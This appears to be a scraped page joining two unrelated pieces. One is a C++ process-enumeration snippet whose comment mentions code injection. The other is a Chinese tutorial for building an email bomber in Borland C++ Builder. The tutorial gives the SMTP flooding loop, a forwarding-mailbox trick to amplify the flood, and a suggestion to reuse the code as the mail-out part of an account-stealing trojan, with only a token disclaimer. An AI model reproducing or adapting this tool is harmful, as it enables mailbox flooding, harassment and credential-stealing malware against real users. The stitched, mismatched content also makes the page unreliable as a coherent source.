Process to PID

from the Internet
// processtopid.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include
#include


int main(int argc, char* argv[])
{
//遍历所有进程,进行注入
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
DWORD proPid = 0;
//DWORD dwCurrentId;
//得到本程序的PID
//dwCurrentId = ::GetCurrentProcessId();
//对系统中的所有运行进程进行快照
hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
//获取快照失败
return FALSE;
}
ZeroMemory(&pe32,sizeof(PROCESSENTRY32));
    pe32.dwSize=sizeof(PROCESSENTRY32);

while(Process32Next(hProcessSnap,&pe32))
    {
//printf("\t%s----%d\n",pe32.szExeFile,pe32.th32ProcessID);
//char proNametmp[16]={"svchost.exe"};
        printf("Process name is %s\n",pe32.szExeFile);
        if(!_strnicmp(pe32.szExeFile,pe32.szExeFile+5,1)&&!_strnicmp("t",(pe32.szExeFile+6),1))
        { 
 printf("GOT IT!\n%s PID is%d\n",pe32.szExeFile,pe32.th32ProcessID);
              proPid=pe32.th32ProcessID;
              //break;
        }
    }
    CloseHandle(hProcessSnap);
//printf("%ld",proPid);
return proPid;
}

利用BCB,自己写邮箱群发器

测试环境:BCB6.0 +XP SP2

Email:c4rp3nt3r[4]gmial.com



前几在黑防看到利用BCB打造QQ消息炸弹。心里老痒痒,正好自己在学写邮箱发信的小程序,突然一想现在邮箱都有身份验证,所以邮箱炸弹少了,是不是自己也可以写一个邮箱炸弹呢?怎么说自己也看了好多期黑防,今天来实践一次。


思路很简单:就是不断的给一个邮箱发信,或者间隔多长时间发信,直到把邮箱撑爆。

程序是单线程的,如何才能提高发信效率呢?我发现现在的邮箱大多有自动转发功能,好我们先申请几个邮箱,设置自动转发到要轰炸邮箱,然后把我们申请的邮箱填到抄送栏目,那么我们就可以用很少的资源达到很好的效果。

程序的关键是利用BCB 6.0自带的Indy v8.0组建中的IdSMTP和IdMessage控件实现发信功能,相信菜菜看完后可以改为自己的盗号木马的发信部分.

编程实现:

打开bcb6.0,程序默认新建一个工程,我们在窗体上加入IndyClents标签的IdSMTP及Indy Misc标签的IdMessage控件,为发送邮件的控件..

一个Dialogs标签下的OpenDialog控件,为选择附件爱能用到的.

一个ComBoBox为选择smtp服务器的控件;

六个控件改name属fromEdit,nameEdit,pwdEdit,toEdit,chaosongEdit和timeEdit.一个ChackBox和一个GroupBox等如图所示:







关键发信代码如下:

IdMessage1->Recipients->EMailAddresses = toEdit->Text; //邮件接收者的信箱

IdMessage1->From->Text = fromEdit->Text; //邮件发送者的信箱

IdMessage1->Subject = subjectEdit->Text; //邮件的标题

IdMessage1->Body->Add(Memo1->Lines->Text);//邮件内容

IdMessage1->CCList->EMailAddresses = chaosongEdit->Text; //邮件的抄送地址

IdMessage1->MessageParts->Clear();

if(strcmp("\0",fujianEdit->Text.c_str())!=0)

{

AnsiString AttFile=fujianEdit->Text ; //附件文件名

IdMessage1->MessageParts->Add();

new TIdAttachment(IdMessage1->MessageParts,AttFile);

}

if (IdSMTP1->Connected())

{

IdSMTP1->Disconnect();

}

IdSMTP1->AuthenticationType = atLogin; //登录服务器类型选择

IdSMTP1->Host = ComboBox1->Text; //SMTP服务器

IdSMTP1->UserId = nameEdit->Text; //邮箱的用户名

IdSMTP1->Password = pwdEdit->Text; //邮箱的密码

IdSMTP1->Port = 25; //端口

IdSMTP1->Connect(); //连接SMTP服务器

if (IdSMTP1->Authenticate()) //用户验证

{

StatusBar1->SimpleText="登录服务器验证成功!";

for(int i=1;i<=StrToInt(timeEdit->Text);i++)

{

IdSMTP1->Send(IdMessage1); //发送邮件

StatusBar1->SimpleText="邮件发送成功";

if(CheckBox1->Checked)

Sleep(StrToInt(frequentEdit->Text)*60*1000); //暂停几分钟继续发送

}

}

IdSMTP1->Disconnect(); //中断连接SMTP服务器

}

用我自己的邮箱测试了一下效果还可以。发送垃圾邮件是不道德的事情,本文只为学习交流。

注:现在支持smtp发信的免费邮箱有sina,qq需要设置一下smtp和pop3收信。